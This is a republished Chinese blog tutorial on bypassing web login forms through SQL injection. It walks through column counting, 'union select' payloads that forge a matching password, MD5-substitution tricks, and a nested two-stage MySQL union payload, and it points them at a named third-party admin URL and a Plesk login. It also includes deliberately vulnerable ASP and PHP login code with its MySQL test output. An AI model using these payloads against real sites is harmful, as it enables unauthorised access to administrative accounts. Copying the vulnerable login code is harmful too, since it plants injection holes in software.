union万能密码By:dangdang
?—————————asp代碼—————————————–
username?=?request.form("username")
password?=?request.form("password?")
set?rs=server.createobject("adodb.recordset")
sql?=?"select?[password]?from?admin?where?UserName='"&username&"'"
rs.open?sql,conn,1,3
If?password?=?rs("password")?then
…’登陸成功
End?if?——————————————————————————————————–
現在很多站點都是這種驗證方式,用’ or ‘1′=’就不行了。比如這個站http://aks.akszy.com/admin/
用戶名處輸入一個單引號出錯(有的時候也不一定出錯),然后’ order by 2–正確 ,’ order by 3– 正確,’ order by 4–出錯,只有3列,用戶名輸入用’union select 1,1,1– ,因為用戶名沒有為空的記錄,所以union出來的所有字段值都是1,密碼再填1登陸進去了…..
還有一種驗證方式密碼有md5比較,所以’union select 1,1,1……當中用1的md5值替換其中一個1(其中一個是密碼字段),密碼填1依然可以繞過。
如果是mysql的話可以搞二次攻擊,以下是2月文章:
今天看到這個帖子,佩服各牛突然覺得這個Mysql?+?plesk?怎么有點雞肋。我沒有源碼,只好通過出錯信息來fuzzer。沒想到一下就YY了半天。。。看出錯信息:
DB?query?failed:?You?have?an?error?in?your?SQL?syntax;?check?the?manual?that?corresponds?to?your?MySQL?server?version?for?the?right?syntax?to?use?near?’;–”?at?line?1
———————-?Debug?Info?——————————-
0:?plib\common_func.php3:243
db_query(string?’select?id?from?admin_aliases?where?login=”?union?select?login?from?admin_aliases;–”)
1:?plib\class.AdminAlias.php:313
AdminAlias::findId(string?”?union?select?login?from?admin_aliases;–’)
2:?plib\cmd_loginup.php:147
createSession(string?”?union?select?login?from?admin_aliases;–’,?string?’******************************************’)
3:?htdocs\login_up.php3:27
從SQL語句中可以大概猜測,這個login是字符類型的,而ID確是int類型,在MSSQL中union通過顯錯來獲取信息可以證明這一點。根據大多數的web程序來推測的話,驗證過程大概是這樣。
1.通過用戶名到數據庫里尋找到該用戶的ID值進行第一步判斷。
2.找到了,再用這個ID值去找管理員的信息,可以使密碼,也可以是*了,呵呵。
3.對提交的密碼進行加密,和上一個結果集比對
令人高興的是,這個系統大方的給了我單引號用,單咋一看,我們union控制結果集來繞過驗證的常規思路似乎行不通。因為第一步只查找了那該死的ID。MSSQL報錯。。報錯。。那么MSSQL是個嚴謹的紳士,那MYSQL呢,我印象里他是個對類型不敏感的小流氓。這讓人興奮,我寫了個小腳本來模擬這種“雞肋”登陸注入的驗證過程。
test.php
<?php
$uid?=?$_POST[uid];
$pwd?=?$_POST[pwd];
?
$link?=?mysql_connect(‘localhost’,?’root’,?’123456′)
or?die(‘Could?not?connect:?’?.?mysql_error());
//echo?’Connected?successfully’;
mysql_select_db(‘test’)?or?die(‘Could?not?select?database’);
//通過uid找到用戶id?注意id為int
$query?=?”SELECT?id?FROM?admin?where?uid=’$uid’”;
echo?”執行的SQL語句為:$query<br>”;
$result?=?mysql_query($query)?or?die(‘Query?failed:?’?.?mysql_error());
$line?=?mysql_fetch_array($result,MYSQL_ASSOC);
$user_id?=?$line[id];
$query?=?”SELECT?*?FROM?admin?where?id=$user_id”;
echo?”執行的SQL語句為:$query<br>”;
$result?=?mysql_query($query)?or?die(‘Query?failed:?’?.?mysql_error());
$line?=?mysql_fetch_array($result,MYSQL_ASSOC);
//驗證開始
if?($line[pwd]?==?$pwd){?echo?”驗證成功!<br>”;?}?else?{?echo?”驗證失敗!<br>”;?}
mysql_free_result($result);
mysql_close($link);
?>
login.htm
<form?action=”http://localhost:8080/test.php”?method=”POST”>
<input?name=uid?type=text?size=80>
<br>
<input?name=pwd?type=text?size=80>
<br>
<input?type=submit>
</form>
很簡陋哈,呵呵。先讓我們看看mysql里的設置。
mysql>?create?table?admin(uid?varchar(10),pwd?varchar(10),id?int);
ERROR?1050?(42S01):?Table?’admin’?already?exists
mysql>?drop?table?admin;
Query?OK,?0?rows?affected?(0.03?sec)
mysql>?create?table?admin(uid?varchar(10),pwd?varchar(10),id?int);
Query?OK,?0?rows?affected?(0.08?sec)
mysql>?insert?into?admin?values(‘admin’,'fuckme’,1);
Query?OK,?1?row?affected?(0.00?sec)
mysql>?select?*?from?admin;
+——-+——–+——+
|?uid???|?pwd????|?id???|
+——-+——–+——+
|?admin?|?fuckme?|????1?|
+——-+——–+——+
1?row?in?set?(0.00?sec)
測了下驗證程序ok,來測試mysql?一下語句
mysql>?select?id?from?admin?union?select?1;
+——+
|?id???|
+——+
|????1?|
+——+
1?row?in?set?(0.00?sec)
mysql>?select?id?from?admin?union?select?’fuckme,please’;
+—————+
|?id????????????|
+—————+
|?1?????????????|
|?fuckme,please?|
+—————+
2?rows?in?set?(0.02?sec)
很好,Mysql果然沒讓人失望,這樣意味著我們能控制$line[id]這個值了,他傳遞給$user_id到了第二個SQL語句中。繼續在mysql里意淫:
mysql>?select?id?from?admin?union?select?’0?union?select?1,2,3#’;
+———————–+
|?id????????????????????|
+———————–+
|?1?????????????????????|
|?0?union?select?1,2,3#?|
+———————–+
2?rows?in?set?(0.00?sec)
這個時候按照理論上講?我們在用戶名那里提交:
‘union?select?’-1?union?select?1,1,1#’#?密碼填?1就可以驗證成功了,這些推理過程不說了,我不能班門弄斧啊
程序輸出:
執行的SQL語句為:SELECT?id?FROM?admin?where?uid=”?and?1=2?union?select?’-1?union?select?1,1,1#’#’
執行的SQL語句為:SELECT?*?FROM?admin?where?id=-1?union?select?1,1,1#
驗證成功!
本文轉sinojelly51CTO博客,原文鏈接:http://blog.51cto.com/pnig0s1992/354566,如需轉載請自行聯系原作者
總結
以上是生活随笔為你收集整理的union万能密码By:dangdang的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: [JQuery] jQuery选择器ID
- 下一篇: 大家都较熟悉之 Kubernetes A